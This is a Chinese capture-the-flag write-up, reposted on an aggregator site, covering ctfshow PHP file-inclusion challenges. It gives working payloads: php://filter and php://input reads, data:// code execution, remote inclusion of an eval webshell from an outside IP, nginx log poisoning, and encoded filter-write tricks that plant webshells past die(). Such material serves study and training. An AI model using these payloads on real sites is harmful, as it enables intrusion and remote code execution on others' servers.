欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 名人名企 > ctfshow-文件包含

ctfshow-文件包含

2025/5/16 16:29:56 来源:https://blog.csdn.net/weixin_74761057/article/details/144530710  浏览:    关键词:ctfshow-文件包含

78-php&http协议

GET传参,参数为file,没有过滤,直接包含

解法一(filter)

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64,解码之后则为flag.php的内容

解法二(input)

payload: 
?file=php://input post:<?php system('ls');?>
?file=php://input post:<?php system('tac flag.php');?>//tac和cat都可以

使用input,post里执行php代码,系统命令

解法三(远程文件包含 传shell)

payload: ?file=http://47.99.124.145/1.txt 
远程1.txt: <?php @eval($_POST['pass']);?> 

在服务器上创建一个1.txt,内容为一句话木马,使用file访问1.txt,解析一句话木马,连接shell

79-data&http协议

php被过滤为???,无法绕过,选择不使用php,使用data://

解法一(data)

file=data://text/plain,<?=system('tac fl*');?>

php被过滤了,这里的<?php system('');?>要写成<?=system('');?>

解法二(data-base64)

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

先将后面的base64值改为<?php system('ls');?>的base64值,传参执行,在将base64的值改为<?php system('tac flag.php');?>

解法三(远程文件包含 传shell)

payload:

?file=http://47.99.124.145/1.txt 

1.txt:

<?php @eval($_POST['pass']);?>

80-日志包含

过滤php,data关键字

ctfshow是nginx服务,日志文件目录/var/log/nginx/access.log

解法一(包含日志文件)

日志文件包含ua信息,我们在ua中插入一句话木马

解法二(远程文件包含)

81-日志包含

过滤php、data、:

解法一(包含日志文件)

包含日志文件可以直接包含马,也可以执行命令

87-php://filter/write&加密编码

分析:

file:GET传参

content:POST传参

过滤php、data、:、.

file_put_contents文件写入(并且进行一次url解码)

绕过die

解法:

我们file传参使用php://filter,在进行url编码

content传参写入ROT13编码后的一句话木马

payload:(要对payload进行二次URL全编码)

php://filter/write=string.rot13/resource=shell.php

Nodepad++可以进行URL全编码

两次URL全编码后Payload

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

content:

<?cuc riny($_CBFG['cnff']);?>

shell.php一句话木马成功写入

还可以使用php://filter/write=convert.base64-decode/resource=test.php

<?php eval($_POST['pass']);?>

payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%34%25%36%35%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30

content:aaPD9waHAgZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4=

(前面两个a是因为不加a会报错,字节流不符合)

88-data&base64协议

过滤了很多字符,没有过滤data,使用data-base64绕过

解法

由于直接构造base64编码后也有被过滤的字符,所以我们添加无用字符,使构造后的base64中不含有被过滤字符

116-misc+文件包含

打开是一个mp4文件,下载

放入随波逐流

binwalk发现有一个png

foremost分离出png

file参数,GET传参

过滤了很多关键字,但是有file_get_contents函数读取文件,我们直接传参

?file=flag.php

117-php://filter/write-iconv.UCS-2LE.UCS-2BE

最后的结果是将<?php die();?>和contents的内容写入file

过滤了rot13、base64等,我们使用其他过滤器

绕过死亡die

我们使用convert.iconv过滤器,将正常的die代码转变为不正常的代码,将我们输入的不正常的代码转换为正常代码

php脚本:(用来生成content值)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

类似于rot13,经过两次反转之后可以变为原来的内容,因此我们将第一次反转的值写入content,这样在通过filter再写入文件会进行第二次反转,最后写入文件的内容还是<?php eval($_POST[a]);?>,经过第二次反转之后die函数也被破坏,从而绕过die

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents:?<hp pvela$(P_SO[T]a;)>?

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词